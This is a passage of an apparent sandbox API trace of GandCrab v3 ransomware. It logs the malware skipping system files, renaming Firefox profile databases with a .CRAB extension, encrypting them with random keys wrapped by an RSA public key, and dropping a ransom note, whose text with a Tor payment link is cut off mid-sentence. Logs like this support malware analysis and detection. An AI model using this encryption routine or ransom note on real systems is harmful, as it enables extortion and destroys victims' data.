	[0123.317] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.318] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\CRAB-DECRYPT.txt") returned 149
	[0123.318] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\CRAB-DECRYPT.txt") returned 149
	[0123.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0123.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0123.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0123.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0123.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0123.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0123.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0123.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0123.318] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0123.318] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.318] FindNextFileW (in: hFindFile=0x3166da0, lpFindFileData=0x3147228 | out: lpFindFileData=0x3147228) returned 0
	[0123.318] FindClose (in: hFindFile=0x3166da0 | out: hFindFile=0x3166da0) returned 1
	[0123.318] FindNextFileW (in: hFindFile=0x31668a0, lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 1
	[0123.318] lstrcmpW (lpString1="2918063365piupsah.sqlite", lpString2=".") returned 1
	[0123.318] lstrcmpW (lpString1="2918063365piupsah.sqlite", lpString2="..") returned 1
	[0123.318] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="2918063365piupsah.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite"
	[0123.318] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.319] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned 133
	[0123.319] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned 133
	[0123.319] lstrlenW (lpString=".sqlite") returned 7
	[0123.319] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.319] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sqlite ") returned 8
	[0123.319] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.319] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned 133
	[0123.319] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned 133
	[0123.319] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="desktop.ini") returned -1
	[0123.319] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="autorun.inf") returned -1
	[0123.319] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="ntuser.dat") returned -1
	[0123.319] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="iconcache.db") returned -1
	[0123.319] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="bootsect.bak") returned -1
	[0123.319] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="boot.ini") returned -1
	[0123.320] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="ntuser.dat.log") returned -1
	[0123.320] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="thumbs.db") returned -1
	[0123.320] lstrcmpiW (lpString1="2918063365piupsah.sqlite", lpString2="CRAB-DECRYPT.txt") returned -1
	[0123.320] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.320] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.CRAB") returned 138
	[0123.320] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite")) returned 0x20
	[0123.320] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite", dwFileAttributes=0x20) returned 1
	[0123.320] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.crab")) returned 1
	[0123.321] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.321] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.CRAB"
	[0123.322] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.CRAB.CRAB"
	[0123.322] CryptAcquireContextW (in: phProv=0x31472f0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31472f0*=0xd6e408) returned 1
	[0123.322] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.322] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.322] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.322] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314742c | out: pbBuffer=0x314742c) returned 1
	[0123.323] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.323] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.323] CryptAcquireContextW (in: phProv=0x31472f0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31472f0*=0xd6e408) returned 1
	[0123.323] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.323] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.324] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.324] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147408 | out: pbBuffer=0x3147408) returned 1
	[0123.324] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.324] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.324] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.324] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.324] CryptAcquireContextW (in: phProv=0x31472e0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31472e0*=0xd6e408) returned 1
	[0123.325] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31472dc | out: phKey=0x31472dc*=0x3166960) returned 1
	[0123.325] CryptGetKeyParam (in: hKey=0x3166960, dwParam=0x8, pbData=0x31472cc, pdwDataLen=0x31472d4, dwFlags=0x0 | out: pbData=0x31472cc*=0x800, pdwDataLen=0x31472d4*=0x4) returned 1
	[0123.325] CryptEncrypt (in: hKey=0x3166960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314743c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314743c*=0x100) returned 1
	[0123.325] GetLastError () returned 0x0
	[0123.325] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.325] CryptAcquireContextW (in: phProv=0x31472e0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31472e0*=0xd6e5a0) returned 1
	[0123.326] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31472dc | out: phKey=0x31472dc*=0x31669a0) returned 1
	[0123.326] CryptGetKeyParam (in: hKey=0x31669a0, dwParam=0x8, pbData=0x31472cc, pdwDataLen=0x31472d4, dwFlags=0x0 | out: pbData=0x31472cc*=0x800, pdwDataLen=0x31472d4*=0x4) returned 1
	[0123.326] CryptEncrypt (in: hKey=0x31669a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3147440*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3147440*=0x100) returned 1
	[0123.326] GetLastError () returned 0x0
	[0123.326] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0123.326] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404
	[0123.327] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.327] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.327] ReadFile (in: hFile=0x404, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147484, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3147484*=0xc000, lpOverlapped=0x0) returned 1
	[0123.347] VirtualAlloc (lpAddress=0x0, dwSize=0xc000, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.348] VirtualAlloc (lpAddress=0x0, dwSize=0xc000, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.349] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.349] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xffff4000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.350] WriteFile (in: hFile=0x404, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xc000, lpNumberOfBytesWritten=0x3147474, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147474*=0xc000, lpOverlapped=0x0) returned 1
	[0123.351] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.351] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.355] WriteFile (in: hFile=0x404, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147474, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3147474*=0x100, lpOverlapped=0x0) returned 1
	[0123.355] WriteFile (in: hFile=0x404, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147474, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3147474*=0x100, lpOverlapped=0x0) returned 1
	[0123.355] WriteFile (in: hFile=0x404, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147474, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3147474*=0x8, lpOverlapped=0x0) returned 1
	[0123.355] CloseHandle (hObject=0x404) returned 1
	[0123.355] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.356] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.356] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.356] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.356] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.356] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.357] FindNextFileW (in: hFindFile=0x31668a0, lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 1
	[0123.357] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0123.357] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0123.357] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\CRAB-DECRYPT.txt"
	[0123.357] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.357] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\CRAB-DECRYPT.txt") returned 125
	[0123.357] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\CRAB-DECRYPT.txt") returned 125
	[0123.357] lstrlenW (lpString=".txt") returned 4
	[0123.357] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.357] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0123.357] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.357] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\CRAB-DECRYPT.txt") returned 125
	[0123.357] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\idb\\CRAB-DECRYPT.txt") returned 125
	[0123.357] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0123.358] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0123.358] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0123.358] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0123.358] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0123.358] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0123.358] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0123.358] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0123.358] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0123.358] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.358] FindNextFileW (in: hFindFile=0x31668a0, lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 0
	[0123.358] FindClose (in: hFindFile=0x31668a0 | out: hFindFile=0x31668a0) returned 1
	[0123.358] FindNextFileW (in: hFindFile=0x3166b60, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0
	[0123.358] FindClose (in: hFindFile=0x3166b60 | out: hFindFile=0x3166b60) returned 1
	[0123.358] FindNextFileW (in: hFindFile=0x3166ca0, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0123.358] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0123.358] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0123.358] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\CRAB-DECRYPT.txt"
	[0123.358] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.358] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\CRAB-DECRYPT.txt") returned 114
	[0123.359] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\CRAB-DECRYPT.txt") returned 114
	[0123.359] lstrlenW (lpString=".txt") returned 4
	[0123.359] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.359] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0123.359] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.359] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\CRAB-DECRYPT.txt") returned 114
	[0123.359] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\CRAB-DECRYPT.txt") returned 114
	[0123.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0123.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0123.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0123.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0123.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0123.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0123.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0123.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0123.359] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0123.359] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.359] FindNextFileW (in: hFindFile=0x3166ca0, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0123.359] lstrcmpW (lpString1="moz-safe-about+home", lpString2=".") returned 1
	[0123.359] lstrcmpW (lpString1="moz-safe-about+home", lpString2="..") returned 1
	[0123.360] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home"
	[0123.360] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\"
	[0123.360] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0123.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0123.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0123.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0123.360] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147f78, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0123.360] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0123.360] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0123.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147760, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0123.360] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0123.360] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0123.360] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.361] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\\\CRAB-DECRYPT.txt") returned 135
	[0123.361] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0123.363] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": 